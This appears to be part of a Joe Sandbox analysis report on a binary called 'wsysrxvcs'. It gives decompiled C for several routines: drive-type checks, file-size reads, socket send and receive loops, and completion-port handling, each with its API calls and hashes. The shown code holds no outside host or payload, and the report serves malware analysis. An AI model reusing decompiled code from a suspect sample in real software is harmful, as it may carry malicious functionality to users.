                                                                                                                                                                                                                                                                                                                                                      0x0040dc25
                                                                                                                                                                                                                                                                                                                                                      0x0040dc29
                                                                                                                                                                                                                                                                                                                                                      0x0040dc2e
                                                                                                                                                                                                                                                                                                                                                      0x0040dc32
                                                                                                                                                                                                                                                                                                                                                      0x0040dc37
                                                                                                                                                                                                                                                                                                                                                      0x0040dc3a
                                                                                                                                                                                                                                                                                                                                                      0x0040dc3c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040dc40
                                                                                                                                                                                                                                                                                                                                                      0x0040dc54

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • SetEvent.KERNEL32(?,?,0040DCE5,?,?,0040BE0E,00000000), ref: 0040DC01
                                                                                                                                                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(?,000000FF,?,0040DCE5,?,?,0040BE0E,00000000), ref: 0040DC0D
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(?,?,0040DCE5,?,?,0040BE0E,00000000), ref: 0040DC17
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00408B60: HeapFree.KERNEL32(00000000,00000000,00401192,?,00401192,?), ref: 00408BBB
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CloseEventFreeHandleHeapObjectSingleWait
                                                                                                                                                                                                                                                                                                                                                      • String ID: pdu
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 309973729-2320407122
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 49e35f90c4752f23d2c87c60ac00a8068e991b789f234c60c2a80c03126b38f2
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 34e35511c2eb274b118701d3934c81f7f6e0c7c0513ff925c9eef8893f918f8e
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 49e35f90c4752f23d2c87c60ac00a8068e991b789f234c60c2a80c03126b38f2
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 52F0C8B28042109BCB24AFA5EC84D5777789E84321304466EFC457738ACA7CEC8AC7A8
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00404B40 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00404B40(WCHAR* _a4) {
				int _v8;
				short _v1052;
				intOrPtr _v1056;

				_v8 = GetDriveTypeW(_a4);
				_v1056 = _v8;
				if(_v1056 >= 2) {
					if(_v1056 <= 3 || _v1056 == 6) {
						if(QueryDosDeviceW(_a4,  &_v1052, 0x208) != 0 && StrCmpNW( &_v1052, L"\\??\\", 4) == 0) {
							_v8 = 1;
						}
					}
				}
				return _v8;
			}






                                                                                                                                                                                                                                                                                                                                                      0x00404b53
                                                                                                                                                                                                                                                                                                                                                      0x00404b59
                                                                                                                                                                                                                                                                                                                                                      0x00404b66
                                                                                                                                                                                                                                                                                                                                                      0x00404b6f
                                                                                                                                                                                                                                                                                                                                                      0x00404b94
                                                                                                                                                                                                                                                                                                                                                      0x00404bae
                                                                                                                                                                                                                                                                                                                                                      0x00404bae
                                                                                                                                                                                                                                                                                                                                                      0x00404b94
                                                                                                                                                                                                                                                                                                                                                      0x00404b6f
                                                                                                                                                                                                                                                                                                                                                      0x00404bbb

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetDriveTypeW.KERNEL32(00404BFF), ref: 00404B4D
                                                                                                                                                                                                                                                                                                                                                      • QueryDosDeviceW.KERNEL32(00404BFF,?,00000208), ref: 00404B8C
                                                                                                                                                                                                                                                                                                                                                      • StrCmpNW.SHLWAPI(?,\??\,00000004), ref: 00404BA4
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: DeviceDriveQueryType
                                                                                                                                                                                                                                                                                                                                                      • String ID: \??\
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1681518211-3047946824
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 0cc65059e2213257c0b06d5a0aa75501f96d2483c5671e2eb6b001ad2bc10b43
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: d7e4f12292dd92e978d998afc9571577f2852cc916d148133fdc328a7213dc46
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0cc65059e2213257c0b06d5a0aa75501f96d2483c5671e2eb6b001ad2bc10b43
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B901E1B4940208ABCB20CF55DD49BD977B4AB44704F0081F9AB08A7280D6B5ABC5CF99
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040D070 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28fileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E0040D070(char _a4) {
				long _v8;
				void* _v12;

				_v8 = 0;
				_t2 =  &_a4; // 0x405440
				_v12 = CreateFileW( *_t2, 0x80000000, 1, 0, 3, 0, 0);
				if(_v12 != 0xffffffff) {
					_v8 = GetFileSize(_v12, 0);
					CloseHandle(_v12);
				}
				return _v8;
			}





                                                                                                                                                                                                                                                                                                                                                      0x0040d076
                                                                                                                                                                                                                                                                                                                                                      0x0040d08c
                                                                                                                                                                                                                                                                                                                                                      0x0040d096
                                                                                                                                                                                                                                                                                                                                                      0x0040d09d
                                                                                                                                                                                                                                                                                                                                                      0x0040d0ab
                                                                                                                                                                                                                                                                                                                                                      0x0040d0b2
                                                                                                                                                                                                                                                                                                                                                      0x0040d0b2
                                                                                                                                                                                                                                                                                                                                                      0x0040d0be

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • CreateFileW.KERNEL32(@T@,80000000,00000001,00000000,00000003,00000000,00000000,00405440), ref: 0040D090
                                                                                                                                                                                                                                                                                                                                                      • GetFileSize.KERNEL32(000000FF,00000000), ref: 0040D0A5
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(000000FF), ref: 0040D0B2
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: File$CloseCreateHandleSize
                                                                                                                                                                                                                                                                                                                                                      • String ID: @T@
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1378416451-667979026
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: e24c9e26e69efa751899c84a214ae5334934a94b20914f31abdf684007cd48cc
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 4d1f4df1473c03c13be12acd2716f7b50fa2ec79510b8491761d2cfaa6b4a851
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e24c9e26e69efa751899c84a214ae5334934a94b20914f31abdf684007cd48cc
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BCF01274A40308FBDB20DFA4DC49B8DBB74AB04711F208155FA04772D0D6B55A458B54
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040D9C0 Relevance: 6.1, APIs: 4, Instructions: 84synchronizationCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 64%
                                                                                                                                                                                                                                                                                                                                                      			E0040D9C0(char* __edx, intOrPtr _a4) {
				short _v18;
				short _v22;
				short _v26;
				short _v28;
				short _v30;
				char _v32;
				char _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				char _v56;
				intOrPtr _v68;
				char* _t23;
				short _t26;
				long _t29;
				short _t34;
				intOrPtr _t37;
				intOrPtr _t43;
				long _t47;
				signed int _t48;
				void* _t50;

				_t40 = __edx;
				_t50 = (_t48 & 0xfffffff8) - 0x1c;
				_t34 = 0;
				_t43 = _a4;
				_v28 = 0;
				do {
					_t23 =  &_v32;
					_v32 = 0;
					__imp__#10( *(_t43 + 8), 0x4004667f, _t23);
					if(_t23 == 0xffffffff) {
						break;
					}
					_t37 = _v44;
					if(_t37 != 0) {
						if(_t34 == 0 || _v40 < _t37) {
							_v40 = _t37;
							_t26 = E00408A50(_t37, _t40, _t34, _t37);
							_t37 = _v44;
							_t50 = _t50 + 8;
							_t34 = _t26;
						}
						_v30 = 0;
						_v26 = 0;
						_v22 = 0;
						_v18 = 0;
						_t29 =  *(_t43 + 8);
						_v32 = 0;
						_t40 =  &_v32;
						_v36 = 0x10;
						__imp__#17(_t29, _t34, _t37, 0,  &_v32,  &_v36);
						_t47 = _t29;
						if(_t47 != 0xffffffff && _t47 != 0) {
							InterlockedExchangeAdd(_t43 + 0x18, _t47);
							_t40 =  &_v56;
							E0040D890(_t43, _t34, _t47, _v68,  &_v56);
							_t50 = _t50 + 0x14;
						}
					}
				} while (WaitForSingleObject( *(_t43 + 0x10), 1) == 0x102);
				return E00408B60(_t34);
			}























                                                                                                                                                                                                                                                                                                                                                      0x0040d9c0
                                                                                                                                                                                                                                                                                                                                                      0x0040d9c6
                                                                                                                                                                                                                                                                                                                                                      0x0040d9cb
                                                                                                                                                                                                                                                                                                                                                      0x0040d9ce
                                                                                                                                                                                                                                                                                                                                                      0x0040d9d1
                                                                                                                                                                                                                                                                                                                                                      0x0040d9d5
                                                                                                                                                                                                                                                                                                                                                      0x0040d9d8
                                                                                                                                                                                                                                                                                                                                                      0x0040d9e3
                                                                                                                                                                                                                                                                                                                                                      0x0040d9eb
                                                                                                                                                                                                                                                                                                                                                      0x0040d9f4
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040d9fa
                                                                                                                                                                                                                                                                                                                                                      0x0040da00
                                                                                                                                                                                                                                                                                                                                                      0x0040da08
                                                                                                                                                                                                                                                                                                                                                      0x0040da12
                                                                                                                                                                                                                                                                                                                                                      0x0040da16
                                                                                                                                                                                                                                                                                                                                                      0x0040da1b
                                                                                                                                                                                                                                                                                                                                                      0x0040da1f
                                                                                                                                                                                                                                                                                                                                                      0x0040da22
                                                                                                                                                                                                                                                                                                                                                      0x0040da22
                                                                                                                                                                                                                                                                                                                                                      0x0040da28
                                                                                                                                                                                                                                                                                                                                                      0x0040da2c
                                                                                                                                                                                                                                                                                                                                                      0x0040da30
                                                                                                                                                                                                                                                                                                                                                      0x0040da34
                                                                                                                                                                                                                                                                                                                                                      0x0040da3e
                                                                                                                                                                                                                                                                                                                                                      0x0040da41
                                                                                                                                                                                                                                                                                                                                                      0x0040da46
                                                                                                                                                                                                                                                                                                                                                      0x0040da50
                                                                                                                                                                                                                                                                                                                                                      0x0040da58
                                                                                                                                                                                                                                                                                                                                                      0x0040da5e
                                                                                                                                                                                                                                                                                                                                                      0x0040da63
                                                                                                                                                                                                                                                                                                                                                      0x0040da6e
                                                                                                                                                                                                                                                                                                                                                      0x0040da78
                                                                                                                                                                                                                                                                                                                                                      0x0040da81
                                                                                                                                                                                                                                                                                                                                                      0x0040da86
                                                                                                                                                                                                                                                                                                                                                      0x0040da86
                                                                                                                                                                                                                                                                                                                                                      0x0040da63
                                                                                                                                                                                                                                                                                                                                                      0x0040da95
                                                                                                                                                                                                                                                                                                                                                      0x0040daaf

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • ioctlsocket.WS2_32 ref: 0040D9EB
                                                                                                                                                                                                                                                                                                                                                      • recvfrom.WS2_32 ref: 0040DA58
                                                                                                                                                                                                                                                                                                                                                      • InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040DA6E
                                                                                                                                                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(?,00000001), ref: 0040DA8F
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: ExchangeInterlockedObjectSingleWaitioctlsocketrecvfrom
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3980219359-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: abe162ae36915b5c621fa5e00ac0161981bffc11e0c2c3ba644e41dfa74ce6eb
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: cd43f8c3902c5727d39bbc61be3be8259c32a55a5bef2e2a25043b607f508e6b
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: abe162ae36915b5c621fa5e00ac0161981bffc11e0c2c3ba644e41dfa74ce6eb
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 66219BB16043056FD304DF65DC4496BB7E8EF84314F044A3EF855D2291E774D9488BAA
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040E920 Relevance: 6.1, APIs: 4, Instructions: 73networkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 29%
                                                                                                                                                                                                                                                                                                                                                      			E0040E920(char _a4) {
				long _v4;
				struct _OVERLAPPED* _v8;
				long _v12;
				void* __ebx;
				signed int _t31;
				signed int _t32;
				signed int _t36;
				struct _OVERLAPPED* _t38;
				long _t43;
				char _t51;
				struct _OVERLAPPED* _t52;
				long* _t54;

				_t54 =  &_v12;
				_t51 = _a4;
				_t52 = 0;
				_v4 = 0;
				_v12 = 0;
				_v8 = 0;
				_t31 = GetQueuedCompletionStatus( *(_t51 + 8),  &_v4,  &_v12,  &_v8, 0xffffffff);
				_t43 = _v12;
				_t32 = _t31 & 0xffffff00 | _t31 != 0x00000000;
				if(_t43 == 0) {
					return _t32;
				}
				do {
					if(_t32 == 0) {
						_t38 =  *((intOrPtr*)(_t43 + 0x260));
						__imp__WSAGetOverlappedResult(_t38, _v8,  &_v4, 0,  &_a4);
						if(_t38 == 0) {
							__imp__#111();
							_t52 = _t38;
						}
					}
					_push(_t52);
					E0040E730(_v8, _v4, _v12);
					_t54 =  &(_t54[1]);
					_t52 = 0;
					_v4 = 0;
					_v12 = 0;
					_v8 = 0;
					_t36 = GetQueuedCompletionStatus( *(_t51 + 8),  &_v4,  &_v12,  &_v8, 0xffffffff);
					_t43 = _v12;
					_t32 = _t36 & 0xffffff00 | _t36 != 0x00000000;
				} while (_t43 != 0);
				return _t32;
			}















                                                                                                                                                                                                                                                                                                                                                      0x0040e920
                                                                                                                                                                                                                                                                                                                                                      0x0040e92c
                                                                                                                                                                                                                                                                                                                                                      0x0040e943
                                                                                                                                                                                                                                                                                                                                                      0x0040e947
                                                                                                                                                                                                                                                                                                                                                      0x0040e94b
                                                                                                                                                                                                                                                                                                                                                      0x0040e94f
                                                                                                                                                                                                                                                                                                                                                      0x0040e953
                                                                                                                                                                                                                                                                                                                                                      0x0040e955
                                                                                                                                                                                                                                                                                                                                                      0x0040e95b
                                                                                                                                                                                                                                                                                                                                                      0x0040e960
                                                                                                                                                                                                                                                                                                                                                      0x0040e9df
                                                                                                                                                                                                                                                                                                                                                      0x0040e9df
                                                                                                                                                                                                                                                                                                                                                      0x0040e963
                                                                                                                                                                                                                                                                                                                                                      0x0040e965
                                                                                                                                                                                                                                                                                                                                                      0x0040e977
                                                                                                                                                                                                                                                                                                                                                      0x0040e97f
                                                                                                                                                                                                                                                                                                                                                      0x0040e987
                                                                                                                                                                                                                                                                                                                                                      0x0040e989
                                                                                                                                                                                                                                                                                                                                                      0x0040e98f
                                                                                                                                                                                                                                                                                                                                                      0x0040e98f
                                                                                                                                                                                                                                                                                                                                                      0x0040e987
                                                                                                                                                                                                                                                                                                                                                      0x0040e99d
                                                                                                                                                                                                                                                                                                                                                      0x0040e99e
                                                                                                                                                                                                                                                                                                                                                      0x0040e9a3
                                                                                                                                                                                                                                                                                                                                                      0x0040e9b9
                                                                                                                                                                                                                                                                                                                                                      0x0040e9bd
                                                                                                                                                                                                                                                                                                                                                      0x0040e9c1
                                                                                                                                                                                                                                                                                                                                                      0x0040e9c5
                                                                                                                                                                                                                                                                                                                                                      0x0040e9c9
                                                                                                                                                                                                                                                                                                                                                      0x0040e9cb
                                                                                                                                                                                                                                                                                                                                                      0x0040e9d1
                                                                                                                                                                                                                                                                                                                                                      0x0040e9d4
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 0040E953
                                                                                                                                                                                                                                                                                                                                                      • WSAGetOverlappedResult.WS2_32(?,?,?,00000000,?), ref: 0040E97F
                                                                                                                                                                                                                                                                                                                                                      • WSAGetLastError.WS2_32 ref: 0040E989
                                                                                                                                                                                                                                                                                                                                                      • GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 0040E9C9
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CompletionQueuedStatus$ErrorLastOverlappedResult
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2074799992-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 6da1ce7f46fb863236e48e893a6ceab4b9b81355985aefd3791b161fb3111dc5
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 7f1c776af9128501d29cee4705a2b1b4ad1ba36568f1778bb86837a4d66991df
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6da1ce7f46fb863236e48e893a6ceab4b9b81355985aefd3791b161fb3111dc5
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 272131B15083119BC200CF5AD880D5BB7E8BFDCB54F044A2EF598A3250D734EA49CBAA
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040E620 Relevance: 6.1, APIs: 4, Instructions: 59networksleepCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 0040E658
                                                                                                                                                                                                                                                                                                                                                      • WSAGetLastError.WS2_32(?,?,0040EB74), ref: 0040E660
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(00000001,?,?,0040EB74), ref: 0040E676
                                                                                                                                                                                                                                                                                                                                                      • WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 0040E69C
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Recv$ErrorLastSleep
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3668019968-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 9530c240e4a3e352d19c5aeebbb657e3a3f3c72e1663e8e959b44b44f9a6eaee
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: ec95d775e6cfbd9a2590a832e9d92f0ddf2a25611b5a89fc2bc5adf97daf2ad9
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9530c240e4a3e352d19c5aeebbb657e3a3f3c72e1663e8e959b44b44f9a6eaee
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 5811CB72104305AFC310CF66EC84AABB7ECEB88700F404D2AF545D2140EA7AE9499BB6
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040E4B0 Relevance: 6.0, APIs: 4, Instructions: 49networksleepCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 0040E4DC
                                                                                                                                                                                                                                                                                                                                                      • WSAGetLastError.WS2_32 ref: 0040E4E2
                                                                                                                                                                                                                                                                                                                                                      • Sleep.KERNEL32(00000001), ref: 0040E4F8
                                                                                                                                                                                                                                                                                                                                                      • WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 0040E51A
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Send$ErrorLastSleep
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2121970615-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 5f517551bb5c92fce56a375ff5d2f568c741865976888976caf1bf6057433b79
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 7f5973983c38ff6c41bcb0c8cc8d4e55d77e86a6361b55f0f7183ce974a31385
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5f517551bb5c92fce56a375ff5d2f568c741865976888976caf1bf6057433b79
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6E0162712443047FE7308A96DC88F9B77ACDBC9715F10882AF608DA2C0D7B5A945DB7A
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040E170 Relevance: 6.0, APIs: 4, Instructions: 47COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E0040E170(void* __esi) {
				intOrPtr _t13;
				intOrPtr _t19;
				struct _CRITICAL_SECTION* _t21;
				void* _t22;
				intOrPtr _t23;
				void* _t24;

				_t22 = __esi;
				_t23 =  *((intOrPtr*)(_t24 + 0xc));
				_t21 = _t23 + 0x244;
				EnterCriticalSection(_t21);
				if(__esi == 0) {
					L9:
					LeaveCriticalSection(_t21);
					return 1;
				} else {
					if(InterlockedExchangeAdd(__esi + 0x14, 0) == 0) {
						_t13 =  *((intOrPtr*)(__esi + 0x38));
						_t19 =  *((intOrPtr*)(__esi + 0x34));
						if(_t13 != 0) {
							 *((intOrPtr*)(_t13 + 0x34)) = _t19;
						}
						if(_t19 == 0) {
							 *((intOrPtr*)(_t23 + 0x25c)) = _t13;
						} else {
							 *((intOrPtr*)(_t19 + 0x38)) = _t13;
						}
						E00408B60( *((intOrPtr*)(_t22 + 0x2c)));
						E00408B60(_t22);
						goto L9;
					} else {
						LeaveCriticalSection(_t21);
						return 0;
					}
				}
			}









